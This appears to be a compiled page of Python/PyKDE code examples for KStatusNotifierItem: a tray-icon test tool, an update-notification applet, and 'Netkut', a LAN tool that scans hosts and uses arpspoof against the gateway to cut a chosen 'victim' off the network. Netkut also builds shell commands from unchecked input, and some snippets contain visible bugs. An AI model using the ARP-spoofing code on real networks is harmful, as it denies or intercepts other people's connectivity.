class Notifier(QObject):
    def __init__(self, parent=None):
        QObject.__init__(self, parent)

        self.tray = KStatusNotifierItem("ksni-test-tool", self)
        self.tray.setCategory(KStatusNotifierItem.Communications)
        self.tray.setIconByName(QString("/usr/share/icons/oxygen/16x16/categories/applications-internet.png"))
        self.tray.setAttentionIconByName(QString("accessories-text-editor"))
        self.tray.setStatus(KStatusNotifierItem.Active)
        self.tray.setToolTipIconByName(QString("/usr/share/icons/oxygen/16x16/categories/applications-internet.png"))

        self.menu = KMenu("KSNI Test Tool")
        self.menu.addAction("Hello", self.onHelloClicked)
        self.menu.addAction("Change Status", self.toggleStatus)
        self.menu.addAction("Hide for some seconds", self.hideForAWhile)
        self.menu.addAction("Switch to pixmap icon", self.usePixmap)
        self.menu.addSeparator()
        self.menu.addAction("Set overlay pixmap", self.setOverlayPixmap)
        self.menu.addAction("Set overlay icon name", self.setOverlayName)
        self.menu.addAction("Remove overlay icon", self.removeOverlay)
        self.tray.setContextMenu(self.menu)

        self.tray.activateRequested.connect(self.onActivated)
        self.tray.scrollRequested.connect(self.onScroll)

    def onActivated(self, show, point):
        print "Activate() called, show="+str(show)+", point="+str(point)

    def onScroll(self, delta, orientation):
        print "Scroll() called, delta="+str(delta)+", orientation="+str(orientation)

    def onHelloClicked(self):
        print "Hello World!"

    def toggleStatus(self):
        if (self.tray.status() == KStatusNotifierItem.Active):
            self.tray.setStatus(KStatusNotifierItem.NeedsAttention)
        else:
            self.tray.setStatus(KStatusNotifierItem.Active)

    def hideForAWhile(self):
        self.tray.setStatus(KStatusNotifierItem.Passive)
        Qt.QTimer.singleShot(2000, self.toggleStatus)

    def usePixmap(self):
        self.tray.setIconByName(QString(""))
        self.tray.setIconByPixmap(Qt.QIcon.fromTheme("accessories-calculator"))

    def setOverlayPixmap(self):
        self.tray.setOverlayIconByName(QString(""))
        self.tray.setOverlayIconByPixmap(Qt.QIcon.fromTheme("dialog-information"))

    def setOverlayName(self):
        self.tray.setOverlayIconByPixmap(Qt.QIcon())
        self.tray.setOverlayIconByName(QString("dialog-error"))

    def removeOverlay(self):
        self.tray.setOverlayIconByName(QString(""))
        self.tray.setOverlayIconByPixmap(Qt.QIcon())
Exemplo n.º 2
0
class Magneto(MagnetoCore):

    """
    Magneto Updates Notification Applet class.
    """

    def __init__(self):

        app_name    = "magneto"
        catalog     = ""
        prog_name   = ki18n("Magneto")
        version     = "1.0"
        description = ki18n("System Update Status")
        lic         = KAboutData.License_GPL
        cright      = ki18n("(c) 2013 Fabio Erculiani")
        text        = ki18n("none")
        home_page   = "www.sabayon.org"
        bug_mail    = "*****@*****.**"

        self._kabout = KAboutData (app_name, catalog, prog_name, version,
            description, lic, cright, text, home_page, bug_mail)

        argv = [sys.argv[0]]
        KCmdLineArgs.init(argv, self._kabout)
        self._app = KApplication()

        from dbus.mainloop.qt import DBusQtMainLoop
        super(Magneto, self).__init__(main_loop_class = DBusQtMainLoop)

        self._window = KStatusNotifierItem()
        # do not show "Quit" and use quitSelected() signal
        self._window.setStandardActionsEnabled(False)

        icon_name = self.icons.get("okay")
        self._window.setIconByName(icon_name)
        self._window.setStatus(KStatusNotifierItem.Passive)

        self._window.connect(self._window,
            SIGNAL("activateRequested(bool,QPoint)"),
            self.applet_activated)
        self._menu = KMenu(_("Magneto Entropy Updates Applet"))
        self._window.setContextMenu(self._menu)

        self._menu_items = {}
        for item in self._menu_item_list:
            if item is None:
                self._menu.addSeparator()
                continue

            myid, _unused, mytxt, myslot_func = item
            name = self.get_menu_image(myid)
            action_icon = KIcon(name)

            w = KAction(action_icon, mytxt, self._menu)
            self._menu_items[myid] = w
            self._window.connect(w, SIGNAL("triggered()"), myslot_func)
            self._menu.addAction(w)

        self._menu.hide()

    def _first_check(self):

        def _do_check():
            self.send_check_updates_signal(startup_check = True)
            return False

        if self._dbus_service_available:
            QTimer.singleShot(10000, _do_check)

    def startup(self):
        """
        Start user interface.
        """
        self._dbus_service_available = self.setup_dbus()
        if config.settings["APPLET_ENABLED"] and \
            self._dbus_service_available:
            self.enable_applet(do_check = False)
        else:
            self.disable_applet()
        if not self._dbus_service_available:
            QTimer.singleShot(30000, self.show_service_not_available)
        else:
            self._first_check()

        # Notice Window instance
        self._notice_window = AppletNoticeWindow(self)

        # Enter main loop
        self._app.exec_()

    def close_service(self):
        super(Magneto, self).close_service()
        self._app.quit()

    def change_icon(self, icon_name):
        name = self.icons.get(icon_name)
        self._window.setIconByName(name)

    def disable_applet(self, *args):
        super(Magneto, self).disable_applet()
        self._menu_items["disable_applet"].setEnabled(False)
        self._menu_items["enable_applet"].setEnabled(True)

    def enable_applet(self, w = None, do_check = True):
        done = super(Magneto, self).enable_applet(do_check = do_check)
        if done:
            self._menu_items["disable_applet"].setEnabled(True)
            self._menu_items["enable_applet"].setEnabled(False)

    def show_alert(self, title, text, urgency = None, force = False,
                   buttons = None):

        if ((title, text) == self.last_alert) and not force:
            return

        def _action_activate_cb(action_num):
            if not buttons:
                return

            try:
                action_info = buttons[action_num - 1]
            except IndexError:
                return

            _action_id, _button_name, button_callback = action_info
            button_callback()

        def do_show():
            notification = KNotification("Updates")

            # Keep a reference or the callback of the actions added
            # below will never work.
            # See: https://bugzilla.redhat.com/show_bug.cgi?id=241531
            self.__last_notification = notification

            notification.setFlags(KNotification.CloseOnTimeout)
            notification.setText("<b>%s</b><br/>%s" % (title, text,))
            if buttons:
                notification.setActions([x[1] for x in buttons])
                notification.connect(
                    notification,
                    SIGNAL("activated(unsigned int)"), _action_activate_cb)

            icon_name = "okay"
            status = KStatusNotifierItem.Passive
            if urgency == "critical":
                icon_name = "critical"
                status = KStatusNotifierItem.Active

            name = self.icons.get(icon_name)
            icon = KIcon(name)
            self._window.setStatus(status)

            notification.setPixmap(icon.pixmap(48, 48))
            notification.sendEvent()
            self.last_alert = (title, text)

        # thread safety
        QTimer.singleShot(0, do_show)

    def update_tooltip(self, tip):
        def do_update():
            self._window.setToolTipTitle(tip)
        QTimer.singleShot(0, do_update)

    def applet_context_menu(self):
        """
        No action for now.
        """
        pass

    def applet_activated(self, active, pos):
        if active:
            self.applet_doubleclick()

    def hide_notice_window(self):
        self.notice_window_shown = False
        self._notice_window.hide()

    def show_notice_window(self):

        if self.notice_window_shown:
            return

        if not self.package_updates:
            return

        entropy_ver = None
        packages = []
        for atom in self.package_updates:

            key = entropy.dep.dep_getkey(atom)
            avail_rev = entropy.dep.dep_get_entropy_revision(atom)
            avail_tag = entropy.dep.dep_gettag(atom)
            my_pkg = entropy.dep.remove_entropy_revision(atom)
            my_pkg = entropy.dep.remove_tag(my_pkg)
            pkgcat, pkgname, pkgver, pkgrev = entropy.dep.catpkgsplit(my_pkg)
            ver = pkgver
            if pkgrev != "r0":
                ver += "-%s" % (pkgrev,)
            if avail_tag:
                ver += "#%s" % (avail_tag,)
            if avail_rev:
                ver += "~%s" % (avail_tag,)

            if key == "sys-apps/entropy":
                entropy_ver = ver

            packages.append("%s (%s)" % (key, ver,))

        critical_msg = ""
        if entropy_ver is not None:
            critical_msg = "%s <b>sys-apps/entropy</b> "
            "%s, %s <b>%s</b>. %s." % (
                _("Your system currently has an outdated version of"),
                _("installed"),
                _("the latest available version is"),
                entropy_ver,
                _("It is recommended that you upgrade to "
                  "the latest before updating any other packages")
            )

        self._notice_window.populate(packages, critical_msg)

        self._notice_window.show()
        self.notice_window_shown = True
Exemplo n.º 3
0
class Notifier(QObject):
    def __init__(self, parent=None):
        QObject.__init__(self, parent)

        self.tray = KStatusNotifierItem("ksni-test-tool", self)
        self.tray.setCategory(KStatusNotifierItem.Communications)
        self.tray.setIconByName(
            QString(
                "/usr/share/icons/oxygen/16x16/categories/applications-internet.png"
            ))
        self.tray.setAttentionIconByName(QString("accessories-text-editor"))
        self.tray.setStatus(KStatusNotifierItem.Active)
        self.tray.setToolTipIconByName(
            QString(
                "/usr/share/icons/oxygen/16x16/categories/applications-internet.png"
            ))

        self.menu = KMenu("KSNI Test Tool")
        self.menu.addAction("Hello", self.onHelloClicked)
        self.menu.addAction("Change Status", self.toggleStatus)
        self.menu.addAction("Hide for some seconds", self.hideForAWhile)
        self.menu.addAction("Switch to pixmap icon", self.usePixmap)
        self.menu.addSeparator()
        self.menu.addAction("Set overlay pixmap", self.setOverlayPixmap)
        self.menu.addAction("Set overlay icon name", self.setOverlayName)
        self.menu.addAction("Remove overlay icon", self.removeOverlay)
        self.tray.setContextMenu(self.menu)

        self.tray.activateRequested.connect(self.onActivated)
        self.tray.scrollRequested.connect(self.onScroll)

    def onActivated(self, show, point):
        print "Activate() called, show=" + str(show) + ", point=" + str(point)

    def onScroll(self, delta, orientation):
        print "Scroll() called, delta=" + str(delta) + ", orientation=" + str(
            orientation)

    def onHelloClicked(self):
        print "Hello World!"

    def toggleStatus(self):
        if (self.tray.status() == KStatusNotifierItem.Active):
            self.tray.setStatus(KStatusNotifierItem.NeedsAttention)
        else:
            self.tray.setStatus(KStatusNotifierItem.Active)

    def hideForAWhile(self):
        self.tray.setStatus(KStatusNotifierItem.Passive)
        Qt.QTimer.singleShot(2000, self.toggleStatus)

    def usePixmap(self):
        self.tray.setIconByName(QString(""))
        self.tray.setIconByPixmap(Qt.QIcon.fromTheme("accessories-calculator"))

    def setOverlayPixmap(self):
        self.tray.setOverlayIconByName(QString(""))
        self.tray.setOverlayIconByPixmap(
            Qt.QIcon.fromTheme("dialog-information"))

    def setOverlayName(self):
        self.tray.setOverlayIconByPixmap(Qt.QIcon())
        self.tray.setOverlayIconByName(QString("dialog-error"))

    def removeOverlay(self):
        self.tray.setOverlayIconByName(QString(""))
        self.tray.setOverlayIconByPixmap(Qt.QIcon())
Exemplo n.º 4
0
class Magneto(MagnetoCore):
    """
    Magneto Updates Notification Applet class.
    """
    def __init__(self):

        app_name = "magneto"
        catalog = ""
        prog_name = ki18n("Magneto")
        version = "1.0"
        description = ki18n("System Update Status")
        lic = KAboutData.License_GPL
        cright = ki18n("(c) 2013 Fabio Erculiani")
        text = ki18n("none")
        home_page = "www.sabayon.org"
        bug_mail = "*****@*****.**"

        self._kabout = KAboutData(app_name, catalog, prog_name, version,
                                  description, lic, cright, text, home_page,
                                  bug_mail)

        argv = [sys.argv[0]]
        KCmdLineArgs.init(argv, self._kabout)
        self._app = KApplication()

        from dbus.mainloop.qt import DBusQtMainLoop
        super(Magneto, self).__init__(main_loop_class=DBusQtMainLoop)

        self._window = KStatusNotifierItem()
        # do not show "Quit" and use quitSelected() signal
        self._window.setStandardActionsEnabled(False)

        icon_name = self.icons.get("okay")
        self._window.setIconByName(icon_name)
        self._window.setStatus(KStatusNotifierItem.Passive)

        self._window.connect(self._window,
                             SIGNAL("activateRequested(bool,QPoint)"),
                             self.applet_activated)
        self._menu = KMenu(_("Magneto Entropy Updates Applet"))
        self._window.setContextMenu(self._menu)

        self._menu_items = {}
        for item in self._menu_item_list:
            if item is None:
                self._menu.addSeparator()
                continue

            myid, _unused, mytxt, myslot_func = item
            name = self.get_menu_image(myid)
            action_icon = KIcon(name)

            w = KAction(action_icon, mytxt, self._menu)
            self._menu_items[myid] = w
            self._window.connect(w, SIGNAL("triggered()"), myslot_func)
            self._menu.addAction(w)

        self._menu.hide()

    def _first_check(self):
        def _do_check():
            self.send_check_updates_signal(startup_check=True)
            return False

        if self._dbus_service_available:
            QTimer.singleShot(10000, _do_check)

    def startup(self):
        """
        Start user interface.
        """
        self._dbus_service_available = self.setup_dbus()
        if config.settings["APPLET_ENABLED"] and \
            self._dbus_service_available:
            self.enable_applet(do_check=False)
        else:
            self.disable_applet()
        if not self._dbus_service_available:
            QTimer.singleShot(30000, self.show_service_not_available)
        else:
            self._first_check()

        # Notice Window instance
        self._notice_window = AppletNoticeWindow(self)

        # Enter main loop
        self._app.exec_()

    def close_service(self):
        super(Magneto, self).close_service()
        self._app.quit()

    def change_icon(self, icon_name):
        name = self.icons.get(icon_name)
        self._window.setIconByName(name)

    def disable_applet(self, *args):
        super(Magneto, self).disable_applet()
        self._menu_items["disable_applet"].setEnabled(False)
        self._menu_items["enable_applet"].setEnabled(True)

    def enable_applet(self, w=None, do_check=True):
        done = super(Magneto, self).enable_applet(do_check=do_check)
        if done:
            self._menu_items["disable_applet"].setEnabled(True)
            self._menu_items["enable_applet"].setEnabled(False)

    def show_alert(self, title, text, urgency=None, force=False, buttons=None):

        if ((title, text) == self.last_alert) and not force:
            return

        def _action_activate_cb(action_num):
            if not buttons:
                return

            try:
                action_info = buttons[action_num - 1]
            except IndexError:
                return

            _action_id, _button_name, button_callback = action_info
            button_callback()

        def do_show():
            notification = KNotification("Updates")

            # Keep a reference or the callback of the actions added
            # below will never work.
            # See: https://bugzilla.redhat.com/show_bug.cgi?id=241531
            self.__last_notification = notification

            notification.setFlags(KNotification.CloseOnTimeout)
            notification.setText("<b>%s</b><br/>%s" % (
                title,
                text,
            ))
            if buttons:
                notification.setActions([x[1] for x in buttons])
                notification.connect(notification,
                                     SIGNAL("activated(unsigned int)"),
                                     _action_activate_cb)

            icon_name = "okay"
            status = KStatusNotifierItem.Passive
            if urgency == "critical":
                icon_name = "critical"
                status = KStatusNotifierItem.Active

            name = self.icons.get(icon_name)
            icon = KIcon(name)
            self._window.setStatus(status)

            notification.setPixmap(icon.pixmap(48, 48))
            notification.sendEvent()
            self.last_alert = (title, text)

        # thread safety
        QTimer.singleShot(0, do_show)

    def update_tooltip(self, tip):
        def do_update():
            self._window.setToolTipTitle(tip)

        QTimer.singleShot(0, do_update)

    def applet_context_menu(self):
        """
        No action for now.
        """
        pass

    def applet_activated(self, active, pos):
        if active:
            self.applet_doubleclick()

    def hide_notice_window(self):
        self.notice_window_shown = False
        self._notice_window.hide()

    def show_notice_window(self):

        if self.notice_window_shown:
            return

        if not self.package_updates:
            return

        entropy_ver = None
        packages = []
        for atom in self.package_updates:

            key = entropy.dep.dep_getkey(atom)
            avail_rev = entropy.dep.dep_get_entropy_revision(atom)
            avail_tag = entropy.dep.dep_gettag(atom)
            my_pkg = entropy.dep.remove_entropy_revision(atom)
            my_pkg = entropy.dep.remove_tag(my_pkg)
            pkgcat, pkgname, pkgver, pkgrev = entropy.dep.catpkgsplit(my_pkg)
            ver = pkgver
            if pkgrev != "r0":
                ver += "-%s" % (pkgrev, )
            if avail_tag:
                ver += "#%s" % (avail_tag, )
            if avail_rev:
                ver += "~%s" % (avail_tag, )

            if key == "sys-apps/entropy":
                entropy_ver = ver

            packages.append("%s (%s)" % (
                key,
                ver,
            ))

        critical_msg = ""
        if entropy_ver is not None:
            critical_msg = "%s <b>sys-apps/entropy</b> "
            "%s, %s <b>%s</b>. %s." % (
                _("Your system currently has an outdated version of"),
                _("installed"), _("the latest available version is"),
                entropy_ver,
                _("It is recommended that you upgrade to "
                  "the latest before updating any other packages"))

        self._notice_window.populate(packages, critical_msg)

        self._notice_window.show()
        self.notice_window_shown = True
Exemplo n.º 5
0
class Netkut(QObject):
    def __init__(self, parent = None):
        QObject.__init__(self)
        
#        if os.path.exists("netkut-window.ui"):
#            APPDIR = QDir.currentPath()
#        else:
#            file =  KStandardDirs.locate("appdata", "netkut-window.ui")
#            APPDIR = file.left(file.lastIndexOf('/'))

        self.mainWindow = MainWindow()
        uic.loadUi(os.path.join (sys.path [0],  "netkut-window.ui"), self.mainWindow)
        
        self.sysTray = KStatusNotifierItem(self.mainWindow)
        self.sysTray.setCategory(KStatusNotifierItem.ApplicationStatus)
        self.sysTray.setIconByName("edit-cut")
        self.sysTray.setAssociatedWidget(self.mainWindow)
        self.sysTray.setStatus(KStatusNotifierItem.Active)
        
        self.actionScan = self.mainWindow.actionCollection().addAction("scan")
        self.actionScan.setIcon(KIcon("edit-web-search"))
        self.actionScan.setText(i18n("&Scan"))
        self.actionScan.setShortcut(QKeySequence(Qt.Key_F5))
        self.actionScan.setToolTip(i18n("Scanning network for live host(s)"))
        self.connect(self.actionScan, SIGNAL("triggered()"), self.onScan)
        
        self.actionCut = self.mainWindow.actionCollection().addAction("cut")
        self.actionCut.setIcon(KIcon("edit-cut"))
        self.actionCut.setText(i18n("&Cut"))
        self.actionCut.setShortcut(Qt.CTRL + Qt.Key_X)
        self.actionCut.setToolTip(i18n("Cutting the internet from selected victim's IP address"))
        self.connect(self.actionCut, SIGNAL("triggered()"), self.onCut)
        
        self.actionResume = self.mainWindow.actionCollection().addAction("resume")
        self.actionResume.setIcon(KIcon("edit-undo"))
        self.actionResume.setText(i18n("&Resume"))
        self.actionResume.setShortcut(Qt.CTRL + Qt.Key_R)
        self.actionResume.setToolTip(i18n("Stop all cut operation"))
        self.connect(self.actionResume, SIGNAL("triggered()"), self.onResume)
        
        self.actionProtect = self.mainWindow.actionCollection().addAction("protect")
        self.actionProtect.setIcon(KIcon("security-low"))
        self.actionProtect.setText(i18n("Unprotected"))
        self.actionProtect.setToolTip(i18n("Enable protection mode"))
        self.actionProtect.setCheckable(True)
        self.connect(self.actionProtect, SIGNAL("triggered()"), self.onProtectMe)
        
        self.actionChangeMac = self.mainWindow.actionCollection().addAction("change_mac")
        self.actionChangeMac.setIcon(KIcon("document-edit"))
        self.actionChangeMac.setText(i18n("Change MAC"))
        self.actionChangeMac.setToolTip(i18n("Change your MAC Address"))
        self.connect(self.actionChangeMac, SIGNAL("triggered()"), self.onChangeMAC)
        
        KStandardAction.quit(app.quit, self.mainWindow.actionCollection())
        
        self.mainWindow.createGUI(os.path.join (sys.path [0], "netkutui.rc"))
        
        self.icard = self.Get_parameter('ip route list | grep "default" | cut -d " " -s -f 5')
        self.myMAC = self.Get_parameter("ip addr show dev " + self.icard +  "|awk '/ether/{ print $2 }'")
        self.gwip = self.Get_parameter('ip route list | grep "default" | cut -d" " -f3')
        self.gwMAC = self.Get_parameter('arping -I '+ self.icard +' -f '+ self.gwip +' | grep "Unicast" | cut -d" " -f5 | cut -d"[" -f2 | cut -d"]" -f1')
        self.myip = self.Get_parameter("ifconfig  | grep 'inet addr:'| grep -v '127.0.0.1' |cut -d: -f2 | awk '{ print $1}'")
        
    def setStatusIconToolTip(self, host = None):
        if self.actionProtect.text() == "Unprotected":
            status = i18n("Status: <strong>Unprotected</strong><br>")
        else:
            status = i18n("Status: <strong>Protected</strong><br>")
            
        if host == None:
            if self.mainWindow.listIP.count() == 0:
                host = status + i18n("no host alive")
                print "no host alive"
            elif self.mainWindow.listIP.count() == 1:
                host = status + i18n("1 host alive")
                print "1 host alive"
            else:
                host = status + i18n(str(self.mainWindow.listIP.count()) + " hosts alive")
                print str(self.mainWindow.listIP.count()) + " hosts alive"

        self.sysTray.setToolTip(KIcon("edit-cut"), i18n("Netkut"), host)
        
    def Get_parameter(self, cmd):
        try:
            x = os.popen(cmd, 'r')
            parameter = x.readline()
            parameter = parameter.strip('\n')
            return parameter
        except:
            return self.Get_parameter(cmd)
    
    def onScan(self):
        print "Scanning..."
        result = sp.Popen(['arp-scan', '--interface=' + self.icard,self.gwip + '/24'], stdout = sp.PIPE).communicate()[0]
        hosts = open('/tmp/hosts.txt', 'w')
        hosts.write(result)
        hosts.close()
        
        # IP Address
        arg1 = 'grep "^[0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+"'
        pipe = os.popen("cut -f1 /tmp/hosts.txt|" + arg1,'r')
        ips = pipe.readlines()
        ips.append(self.myip)
        self.mainWindow.listIP.clear()
        self.mainWindow.listMAC.clear()
        
        for ip in ips:
            ip = ip.strip('\n')
            item = QListWidgetItem(KIcon("network-connect"), ip, self.mainWindow.listIP)
            
        # MAC Address
        arg2 = 'grep -E -o "[[:xdigit:]]{2}(:[[:xdigit:]]{2}){5}"'
        pipe = os.popen("cut  -f2 /tmp/hosts.txt|" + arg2,'r')
        macs = pipe.readlines()
        macs.append(self.myMAC)
        for mac in macs :
            mac = mac.strip('\n')
            item = QListWidgetItem(KIcon("hwinfo"), mac, self.mainWindow.listMAC)
            
        self.setStatusIconToolTip()
        
    def onCut(self):
        print "Cutting..."
        item = self.mainWindow.listIP.currentItem()
        vicip = str(item.text())
        item.setIcon(KIcon("network-disconnect"))
        
        ### First we must disable the IP_Forward
        os.system("sysctl -w net.ipv4.ip_forward=0")
        
        ### Start Arpspoofing the victim
        os.system("arpspoof -i " + self.icard + " -t " + self.gwip + " " + vicip + " & > /dev/null")
        
    def onResume(self):
        print "Resuming"
        ### Re Enable IP_Forward
        os.system("sysctl -w net.ipv4.ip_forward=1")
        
        ### Stop all arpspoofing process
        os.system("killall arpspoof")
        
        self.onScan()
        
    def onProtectMe(self):
        if self.actionProtect.isChecked():
            self.actionScan.setEnabled(False)
            self.actionCut.setEnabled(False)
            self.actionProtect.setText(i18n("Protected"))
            self.actionProtect.setToolTip(i18n("Disable protection mode"))
            self.actionProtect.setIcon(KIcon("security-high"))
            
            pipe = os.popen("arptables -F" ,'r')
            pipe.close()
            pipe = os.popen("arptables -P INPUT DROP && arptables -P OUTPUT DROP",'r')
            pipe.close()
            pipe = os.popen("arptables -A INPUT -s " + self.gwip + " --source-mac "+ self.gwMAC + " -j ACCEPT",'r')
            pipe.close()
            pipe = os.popen("arptables -A OUTPUT -d " + self.gwip + " --destination-mac  " + self.gwMAC + " -j ACCEPT",'r')
            pipe.close()
            pipe = os.popen("arp -s " + self.gwip + " " + self.gwMAC ,'r')
            pipe.close()
            
        else:
            self.actionScan.setEnabled(True)
            self.actionCut.setEnabled(True)
            self.actionProtect.setText(i18n("Unprotected"))
            self.actionProtect.setToolTip(i18n("Enable protection mode"))
            self.actionProtect.setIcon(KIcon("security-low"))
            
            self.scanAction.setEnabled(True)
            self.cutAction.setEnabled(True)
            self.protectAction.setIcon(KIcon("security-low"))
            self.protectAction.setText(i18n("Unprotected"))
            self.protectAction.setStatusTip(i18n("Enable protection mode"))
            
            pipe=os.popen("arptables -P INPUT ACCEPT && arptables -P OUTPUT ACCEPT && arptables -F" ,'r')
            pipe.close()
            
        self.setStatusIconToolTip()
            
    def onChangeMAC(self):
        text, ok = KInputDialog.getText(i18n("MAC Address Changer"), 
                                        i18n("Enter your new MAC Address: "))
        if ok:
            newMac = str(text)
            pipe = os.popen("ifconfig " + self.icard +" down hw ether " + newMAC,'r')
            pipe.close()
            pipe = os.popen("ifconfig " + self.icard +" up",'r')
            pipe.close()